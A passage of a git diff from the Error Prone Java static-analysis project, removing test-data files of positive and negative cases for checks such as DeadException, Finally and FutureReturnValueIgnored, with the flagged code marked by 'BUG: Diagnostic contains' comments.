BUG: Diagnostic contains: true - result = s <= Short.MAX_VALUE; - } - - void shortsReversed(short s) { - boolean result; - - // BUG: Diagnostic contains: false - result = Short.MAX_VALUE < s; - // BUG: Diagnostic contains: true - result = Short.MIN_VALUE - 1 < s; - - // BUG: Diagnostic contains: false - result = Short.MAX_VALUE + 1 <= s; - // BUG: Diagnostic contains: true - result = Short.MIN_VALUE <= s; - - // BUG: Diagnostic contains: false - result = Short.MIN_VALUE > s; - // BUG: Diagnostic contains: true - result = Short.MAX_VALUE + 1 > s; - - // BUG: Diagnostic contains: false - result = Short.MIN_VALUE - 1 >= s; - // BUG: Diagnostic contains: true - result = Short.MAX_VALUE >= s; - } - - void ints(int i) { - boolean result; - - // BUG: Diagnostic contains: false - result = i == Integer.MAX_VALUE + 1L; - } - - void longs(long l) { - boolean result; - - // BUG: Diagnostic contains: false - result = l == Long.MIN_VALUE * 2.0; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionNegativeCases.java deleted file mode 100644 index 0ee205a27d2..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionNegativeCases.java +++ /dev/null @@ -1,29 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -public class DeadExceptionNegativeCases { - public void noError() { - Exception e = new RuntimeException("stored"); - e = new UnsupportedOperationException("also stored"); - throw new IllegalArgumentException("thrown"); - } - - public Exception returnsException() { - return new RuntimeException("returned"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionPositiveCases.java deleted file mode 100644 index 984d822cd10..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionPositiveCases.java +++ /dev/null @@ -1,79 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -public class DeadExceptionPositiveCases { - public void runtimeException() { - // BUG: Diagnostic contains: throw new RuntimeException - new RuntimeException("Not thrown, and reference lost"); - } - - public void error() { - // BUG: Diagnostic contains: throw new AssertionError - new AssertionError("Not thrown, and reference lost"); - } - - public void fixIsToDeleteTheFirstStatement() { - // BUG: Diagnostic contains: remove this line - new IllegalArgumentException("why is this here?"); - int i = 1; - System.out.println("i = " + i); - - if (true) { - // BUG: Diagnostic contains: remove this line - new RuntimeException("oops"); - System.out.println("another statement after exception"); - } - - switch (0) { - default: - // BUG: Diagnostic contains: remove this line - new RuntimeException("oops"); - System.out.println("another statement after exception"); - } - } - - public void firstStatementWithNoSurroundingBlock() { - if (true) - // BUG: Diagnostic contains: throw new InterruptedException - new InterruptedException("this should be thrown"); - - if (true) return; - else - // BUG: Diagnostic contains: throw new ArithmeticException - new ArithmeticException("should also be thrown"); - - switch (4) { - case 4: - System.out.println("4"); - break; - default: - // BUG: Diagnostic contains: throw new IllegalArgumentException - new IllegalArgumentException("should be thrown"); - } - } - - public void testLooksLikeAJunitTestMethod() { - // BUG: Diagnostic contains: throw new RuntimeException - new RuntimeException("Not thrown, and reference lost"); - } - - { - // BUG: Diagnostic contains: throw new Exception - new Exception(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionTestingNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionTestingNegativeCases.java deleted file mode 100644 index a6e6dcf0bd5..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DeadExceptionTestingNegativeCases.java +++ /dev/null @@ -1,45 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; -import org.junit.Test; - -/** - * @author alexeagle@google.com (Alex Eagle) - */ -public class DeadExceptionTestingNegativeCases extends TestCase { - - public void testShouldAllowTestingOfExceptionConstructorSideEffects() { - try { - new IllegalArgumentException((Throwable) null); - fail(); - } catch (NullPointerException e) { - // expected - } - } - - @Test - public void shouldAllowTestingOfExceptionConstructorSideEffects() { - try { - new IllegalArgumentException((Throwable) null); - fail(); - } catch (NullPointerException e) { - // expected - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnNegativeCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnNegativeCase1.java deleted file mode 100644 index 3cbdd1b0662..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnNegativeCase1.java +++ /dev/null @@ -1,69 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @deprecated - */ -@Deprecated -public class DepAnnNegativeCase1 { - - /** - * @deprecated - */ - @Deprecated - public DepAnnNegativeCase1() {} - - /** - * @deprecated - */ - @Deprecated int myField; - - /** - * @deprecated - */ - @Deprecated - enum Enum { - VALUE, - } - - /** - * @deprecated - */ - @Deprecated - interface Interface {} - - /** - * @deprecated - */ - @Deprecated - public void deprecatedMethood() {} - - @Deprecated - public void deprecatedMethoodWithoutComment() {} - - /** deprecated */ - public void deprecatedMethodWithMalformedComment() {} - - /** - * @deprecated - */ - @SuppressWarnings("dep-ann") - public void suppressed() {} - - public void newMethod() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnNegativeCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnNegativeCase2.java deleted file mode 100644 index 0a50c3aca44..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/DepAnnNegativeCase2.java +++ /dev/null @@ -1,42 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @deprecated - */ -@Deprecated -public class DepAnnNegativeCase2 { - - abstract class Builder2

{ - class SummaryRowKey

- * {@code
- * finally foo() {
- *   try {
- *     return true;
- *   } finally {
- *     return false;
- *   }
- * }
- * 
- * - * Because the finally block always executes, the first return statement has no effect and the - * method will return false. - * - * @author eaftan@google.com (Eddie Aftandilian) - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class FinallyPositiveCase1 { - - public static void test1() { - while (true) { - try { - } finally { - // BUG: Diagnostic contains: - break; - } - } - } - - public static void test2() { - while (true) { - try { - } finally { - // BUG: Diagnostic contains: - continue; - } - } - } - - public static void test3() { - try { - } finally { - // BUG: Diagnostic contains: - return; - } - } - - public static void test4() throws Exception { - try { - } finally { - // BUG: Diagnostic contains: - throw new Exception(); - } - } - - /** - * break statement jumps to outer labeled while, not inner one. - */ - public void test5() { - label: - while (true) { - try { - } finally { - while (true) { - // BUG: Diagnostic contains: - break label; - } - } - } - } - - /** - * continue statement jumps to outer labeled for, not inner one. - */ - public void test6() { - label: - for (;;) { - try { - } finally { - for (;;) { - // BUG: Diagnostic contains: - continue label; - } - } - } - } - - /** - * continue statement jumps to while, not switch. - */ - public void test7() { - int i = 10; - while (true) { - try { - } finally { - switch (i) { - case 10: - // BUG: Diagnostic contains: - continue; - } - } - } - } - - public void test8() { - try { - } finally { - // BUG: Diagnostic contains: - { { { { { { { { { { return; } } } } } } } } } } - } - } - - // Don't assume that completion statements occur inside methods: - static boolean flag = false; - static { - while (flag) { - try { - } finally { - // BUG: Diagnostic contains: - break; - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyPositiveCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyPositiveCase2.java deleted file mode 100644 index a8c3e2f76e9..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FinallyPositiveCase2.java +++ /dev/null @@ -1,132 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.IOException; - -/** - * @author cushon@google.com (Liam Miller-Cushon) - */ -public class FinallyPositiveCase2 { - public void completeWithReturn(boolean flag) { - try { - - } finally { - // BUG: Diagnostic contains: - return; - } - } - - public void completeWithThrow(boolean flag) throws Exception { - try { - - } finally { - // BUG: Diagnostic contains: - throw new Exception(); - } - } - - public void unreachableThrow(boolean flag) throws Exception { - try { - - } finally { - if (flag) { - // BUG: Diagnostic contains: - throw new Exception(); - } - } - } - - public void nestedBlocks(int i, boolean flag) throws Exception { - try { - - } finally { - switch (i) { - default: - { - while (flag) { - do { - if (flag) { - } else { - // BUG: Diagnostic contains: - throw new Exception(); - } - } while (flag); - } - } - } - } - } - - public void nestedFinally() throws Exception { - try { - - } finally { - try { - } finally { - // BUG: Diagnostic contains: - throw new IOException(); - } - } - } - - public void returnFromTryNestedInFinally() { - try { - } finally { - try { - // BUG: Diagnostic contains: - return; - } finally { - } - } - } - - public void returnFromCatchNestedInFinally() { - try { - } finally { - try { - } catch (Exception e) { - // BUG: Diagnostic contains: - return; - } finally { - } - } - } - - public void throwUncaughtFromNestedTryInFinally() throws Exception { - try { - } finally { - try { - // BUG: Diagnostic contains: - throw new Exception(); - } finally { - } - } - } - - public void throwFromNestedCatchInFinally() throws Exception { - try { - } finally { - try { - } catch (Exception e) { - // BUG: Diagnostic contains: - throw new Exception(); - } finally { - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonNegativeCases.java deleted file mode 100644 index 6ef7f588939..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonNegativeCases.java +++ /dev/null @@ -1,62 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; -import static org.junit.Assert.assertEquals; - -/** - * Negative test cases for FloatingPointAssertionWithinEpsilon check. - * - * @author ghm@google.com (Graeme Morgan) - */ -final class FloatingPointAssertionWithinEpsilonNegativeCases { - - private static final float TOLERANCE = 1e-5f; - private static final double TOLERANCE2 = 1e-10f; - private static final float VALUE = 1; - - public void testFloat() { - String test = Boolean.TRUE.toString(); - assertThat(1.0f).isWithin(1e-5f).of(1.0f); - assertThat(1f).isWithin(TOLERANCE).of(VALUE); - assertThat(1f).isWithin(1).of(1); - - assertThat(1f).isNotWithin(0).of(2f); - - assertThat(1f).isNotWithin(.5f).of(2f); - - assertEquals(1f, 1f, TOLERANCE); - } - - public void testDouble() { - String test = Boolean.TRUE.toString(); - assertThat(1.0).isWithin(1e-10).of(1.0); - assertThat(1.0).isWithin(TOLERANCE2).of(1f); - assertThat(1.0).isWithin(TOLERANCE2).of(1); - - assertEquals(1.0, 1.0, TOLERANCE); - } - - public void testZeroCases() { - assertThat(1.0).isWithin(0.0).of(1.0); - assertThat(1f).isWithin(0f).of(1f); - assertThat(1f).isWithin(0).of(1f); - - assertEquals(1f, 1f, 0f); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonPositiveCases.java deleted file mode 100644 index 4f75aa0f143..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonPositiveCases.java +++ /dev/null @@ -1,68 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; -import static org.junit.Assert.assertEquals; - -/** - * Positive test cases for FloatingPointAssertionWithinEpsilon check. - * - * @author ghm@google.com (Graeme Morgan) - */ -final class FloatingPointAssertionWithinEpsilonPositiveCases { - - private static final float TOLERANCE = 1e-10f; - private static final double TOLERANCE2 = 1e-20f; - private static final float VALUE = 1; - - public void testFloat() { - // BUG: Diagnostic contains: 6.0e-08 - assertThat(1.0f).isWithin(1e-20f).of(1.0f); - // BUG: Diagnostic contains: 6.0e-08 - assertThat(1f).isWithin(TOLERANCE).of(VALUE); - // BUG: Diagnostic contains: 1.0e+03 - assertThat(1e10f).isWithin(1).of(1e10f); - - // BUG: Diagnostic contains: 1.2e-07 - assertThat(1f).isNotWithin(1e-10f).of(2); - - // BUG: Diagnostic contains: 6.0e-08 - assertEquals(1f, 1f, TOLERANCE); - // BUG: Diagnostic contains: 6.0e-08 - assertEquals("equal!", 1f, 1f, TOLERANCE); - } - - public void testDouble() { - // BUG: Diagnostic contains: 1.1e-16 - assertThat(1.0).isWithin(1e-20).of(1.0); - // BUG: Diagnostic contains: 1.1e-16 - assertThat(1.0).isWithin(TOLERANCE2).of(1.0f); - // BUG: Diagnostic contains: 1.1e-16 - assertThat(1.0).isWithin(TOLERANCE2).of(1); - // BUG: Diagnostic contains: 1.6e+04 - assertThat(1e20).isWithin(1).of(1e20); - - // BUG: Diagnostic contains: 1.4e-17 - assertThat(0.1).isNotWithin(TOLERANCE2).of(0.1f); - - // BUG: Diagnostic contains: 1.1e-16 - assertEquals(1.0, 1.0, TOLERANCE2); - // BUG: Diagnostic contains: 1.1e-16 - assertEquals("equal!", 1.0, 1.0, TOLERANCE2); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonPositiveCases_expected.java deleted file mode 100644 index 81f4165f6db..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FloatingPointAssertionWithinEpsilonPositiveCases_expected.java +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertThat; -import static org.junit.Assert.assertEquals; - -/** - * Expected refactoring output for FloatingPointAssertionWithinEpsilon bugpattern. - * - * @author ghm@google.com (Graeme Morgan) - */ -final class FloatingPointAssertionWithinEpsilonPositiveCases { - - private static final float TOLERANCE = 1e-10f; - private static final double TOLERANCE2 = 1e-20f; - private static final float VALUE = 1; - - public void testFloat() { - assertThat(1.0f).isEqualTo(1.0f); - assertThat(1f).isEqualTo(VALUE); - assertThat(1e10f).isEqualTo(1e10f); - assertThat(1f).isNotEqualTo(2f); - assertEquals(1f, 1f, 0); - assertEquals("equal!", 1f, 1f, 0); - } - - public void testDouble() { - assertThat(1.0).isEqualTo(1.0); - assertThat(1.0).isEqualTo(1.0); - assertThat(1.0).isEqualTo(1d); - assertThat(1e20).isEqualTo(1e20); - assertThat(0.1).isNotEqualTo((double) 0.1f); - assertEquals(1.0, 1.0, 0); - assertEquals("equal!", 1.0, 1.0, 0); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FunctionalInterfaceMethodChangedNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FunctionalInterfaceMethodChangedNegativeCases.java deleted file mode 100644 index 9ba86595a1d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FunctionalInterfaceMethodChangedNegativeCases.java +++ /dev/null @@ -1,84 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.concurrent.Callable; - -public class FunctionalInterfaceMethodChangedNegativeCases { - @FunctionalInterface - interface SuperFI { - void superSam(); - } - - @FunctionalInterface - interface OtherSuperFI { - void otherSuperSam(); - } - - @FunctionalInterface - interface SubFI extends SuperFI { - void subSam(); - - @Override - default void superSam() { - subSam(); - } - } - - @FunctionalInterface - interface MultipleInheritanceSubFI extends SuperFI, OtherSuperFI { - void subSam(); - - @Override - default void superSam() { - subSam(); - } - - @Override - default void otherSuperSam() { - subSam(); - } - } - - @FunctionalInterface - interface ValueReturningSuperFI { - String superSam(); - } - - @FunctionalInterface - interface ValueReturningSubFI extends ValueReturningSuperFI { - String subSam(); - - @Override - default String superSam() { - return subSam(); - } - } - - // Regression test for b/68075767 - @FunctionalInterface - public interface VoidCallable extends Callable { - - void voidCall() throws Exception; - - @Override - default Void call() throws Exception { - voidCall(); - return null; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FunctionalInterfaceMethodChangedPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FunctionalInterfaceMethodChangedPositiveCases.java deleted file mode 100644 index 97468bcd144..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FunctionalInterfaceMethodChangedPositiveCases.java +++ /dev/null @@ -1,107 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -public class FunctionalInterfaceMethodChangedPositiveCases { - @FunctionalInterface - interface SuperFI { - void superSam(); - } - - @FunctionalInterface - interface OtherSuperFI { - void otherSuperSam(); - } - - @FunctionalInterface - interface SubFI extends SuperFI { - void subSam(); - - @Override - // BUG: Diagnostic contains: - default void superSam() { - subSam(); - System.out.println("do something else"); - } - } - - @FunctionalInterface - interface MultipleInheritanceSubFIOneBad extends SuperFI, OtherSuperFI { - void subSam(); - - @Override - default void superSam() { - subSam(); - } - - @Override - // BUG: Diagnostic contains: - default void otherSuperSam() { - subSam(); - System.out.println("do something else"); - } - } - - @FunctionalInterface - interface MultipleInheritanceSubFIBothBad extends SuperFI, OtherSuperFI { - void subSam(); - - @Override - // BUG: Diagnostic contains: - default void superSam() { - superSam(); - System.out.println("do something else"); - } - - @Override - // BUG: Diagnostic contains: - default void otherSuperSam() { - subSam(); - System.out.println("do something else"); - } - } - - @FunctionalInterface - interface ValueReturningSuperFI { - String superSam(); - } - - @FunctionalInterface - interface ValueReturningSubFI extends ValueReturningSuperFI { - String subSam(); - - @Override - // BUG: Diagnostic contains: - default String superSam() { - System.out.println("do something else"); - return subSam(); - } - } - - @FunctionalInterface - public interface ValueReturningSubFI2 extends ValueReturningSuperFI { - - String subSam(); - - @Override - // BUG: Diagnostic contains: - default String superSam() { - subSam(); - return null; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FutureReturnValueIgnoredNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FutureReturnValueIgnoredNegativeCases.java deleted file mode 100644 index 6113d47f193..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FutureReturnValueIgnoredNegativeCases.java +++ /dev/null @@ -1,307 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.util.concurrent.Futures.immediateFuture; -import static com.google.common.util.concurrent.MoreExecutors.directExecutor; -import static org.junit.Assert.assertThrows; -import static org.mockito.Mockito.doAnswer; - -import com.google.common.base.Function; -import com.google.common.base.Functions; -import com.google.common.base.Preconditions; -import com.google.common.base.Predicate; -import com.google.common.base.Supplier; -import com.google.common.base.Ticker; -import com.google.common.reflect.AbstractInvocationHandler; -import com.google.common.util.concurrent.AbstractFuture; -import com.google.common.util.concurrent.AsyncFunction; -import com.google.common.util.concurrent.Futures; -import com.google.common.util.concurrent.ListenableFuture; -import com.google.errorprone.annotations.CanIgnoreReturnValue; -import io.netty.channel.ChannelFuture; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.Arrays; -import java.util.HashMap; -import java.util.Map; -import java.util.concurrent.Callable; -import java.util.concurrent.Executor; -import java.util.concurrent.ExecutorCompletionService; -import java.util.concurrent.ForkJoinTask; -import java.util.concurrent.Future; -import java.util.concurrent.FutureTask; -import java.util.concurrent.RecursiveAction; -import java.util.concurrent.ScheduledExecutorService; -import org.junit.function.ThrowingRunnable; -import org.mockito.invocation.InvocationOnMock; -import org.mockito.stubbing.Answer; - -/** */ -public class FutureReturnValueIgnoredNegativeCases { - - public FutureReturnValueIgnoredNegativeCases() {} - - static ListenableFuture getFuture() { - return immediateFuture(null); - } - - interface CanIgnoreMethod { - @CanIgnoreReturnValue - Future getFuture(); - } - - public static class CanIgnoreImpl implements CanIgnoreMethod { - @Override - public Future getFuture() { - return null; - } - } - - static void callIgnoredInterfaceMethod() { - new CanIgnoreImpl().getFuture(); - } - - @CanIgnoreReturnValue - static ListenableFuture getFutureIgnore() { - return immediateFuture(null); - } - - static void putInMap() { - Map> map = new HashMap<>(); - map.put(new Object(), immediateFuture(null)); - Map map2 = new HashMap(); - map2.put(new Object(), immediateFuture(null)); - } - - static void preconditions() - throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Preconditions.checkNotNull(getFuture()); - Preconditions.checkNotNull(new Object()); - FutureReturnValueIgnoredNegativeCases.class.getDeclaredMethod("preconditions").invoke(null); - } - - static void checkIgnore() { - getFutureIgnore(); - } - - void ignoreForkJoinTaskFork(ForkJoinTask t) { - t.fork(); - } - - void ignoreForkJoinTaskFork_subclass(RecursiveAction t) { - t.fork(); - } - - void ignoreExecutorCompletionServiceSubmit(ExecutorCompletionService s) { - s.submit(() -> null); - } - - void ignoreChannelFutureAddListener(ChannelFuture cf) { - cf.addListener((ChannelFuture f) -> {}); - } - - void ignoreChannelFutureAddListeners(ChannelFuture cf) { - cf.addListeners((ChannelFuture f) -> {}, (ChannelFuture f) -> {}); - } - - ListenableFuture ignoreVarArgs( - Callable combiner, Executor executor, ListenableFuture... futures) { - return combine(combiner, executor, Arrays.asList(futures)); - } - - public static ListenableFuture combine( - final Callable combiner, - Executor executor, - Iterable> futures) { - return null; - } - - private static final class TypedClass { - ListenableFuture ignoreReturnTypeSetByInputFuture(T input) { - return returnsInputType(logAsyncInternal(input), 0); - } - - protected ListenableFuture logAsyncInternal(T record) { - return null; - } - - ListenableFuture returnsInputType(ListenableFuture future, final int n) { - return null; - } - } - - public static class RetryingFuture extends AbstractFuture { - - /** - * Enables the user to receive notifications about state changes of a retrying future, and use - * them e.g. for logging. - */ - public interface Interceptor {} - - /** Creates a builder for {@link RetryingFuture} instances. */ - public static Builder builder() { - return new Builder<>(); - } - - /** A builder for {@link RetryingFuture} instances. */ - public static final class Builder { - - private Builder() {} - - /** Sets the {@link Executor} in which all tries and retries are performed. */ - @CanIgnoreReturnValue - public Builder setExecutor(Executor executor) { - return this; - } - - /** - * Sets the {@link ScheduledExecutorService} used for scheduling retries after delay. It will - * also be used for tries and retries if {@link #setExecutor(Executor)} is not called. - */ - @CanIgnoreReturnValue - public Builder setScheduledExecutorService( - ScheduledExecutorService scheduledExecutorService) { - return this; - } - - public Builder setInterceptor(Interceptor interceptor) { - // Safely limiting the kinds of RetryingFutures this builder can produce, - // based on the type of the interceptor. - @SuppressWarnings("unchecked") - Builder me = (Builder) this; - return me; - } - - public Builder setTicker(Ticker ticker) { - return this; - } - - public RetryingFuture build( - Supplier> futureSupplier, - Predicate shouldContinue) { - return new RetryingFuture( - futureSupplier, - null, - shouldContinue, - null, - // We need to maintain Java 7 compatibility - null, - null, - null); - } - - public RetryingFuture build( - Supplier> futureSupplier, - Object strategy, - Predicate shouldContinue) { - return new RetryingFuture( - futureSupplier, - strategy, - shouldContinue, - null, - // We need to maintain Java 7 compatibility - null, - null, - null); - } - } - - RetryingFuture( - Supplier> futureSupplier, - Object strategy, - Predicate shouldContinue, - Executor executor, - ScheduledExecutorService scheduledExecutorService, - Ticker ticker, - final Interceptor interceptor) {} - - public static RetryingFuture retryingFuture( - Supplier> futureSupplier, - Object strategy, - Predicate shouldContinue, - Executor executor, - Interceptor interceptor) { - return builder() - .setInterceptor(interceptor) - .setExecutor(executor) - .build(futureSupplier, strategy, shouldContinue); - } - } - - private static class TypedObject { - public ListenableFuture transformAndClose( - Function function, Executor executor) { - return null; - } - - public ListenableFuture close() { - return transformAndClose(Functions.identity(), directExecutor()); - } - } - - private static void mocking() { - doAnswer(invocation -> immediateFuture(null)).when(null); - doAnswer( - invocation -> { - return immediateFuture(null); - }) - .when(null); - doAnswer( - new Answer() { - @Override - public Object answer(InvocationOnMock mock) { - return immediateFuture(null); - } - }) - .when(null); - } - - private static void throwing() { - assertThrows(RuntimeException.class, () -> immediateFuture(null)); - assertThrows( - RuntimeException.class, - () -> { - immediateFuture(null); - }); - assertThrows( - RuntimeException.class, - new ThrowingRunnable() { - @Override - public void run() throws Throwable { - immediateFuture(null); - } - }); - } - - private static AsyncFunction provideAsyncFunction() { - return Futures::immediateFuture; - } - - private static Runnable provideNonFutureInterface() { - return new FutureTask(null); - } - - private static void invocation() { - new AbstractInvocationHandler() { - @Override - protected Object handleInvocation(Object o, Method method, Object[] params) { - return immediateFuture(null); - } - }; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FutureReturnValueIgnoredPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FutureReturnValueIgnoredPositiveCases.java deleted file mode 100644 index d6ffe165228..00000000000 --- 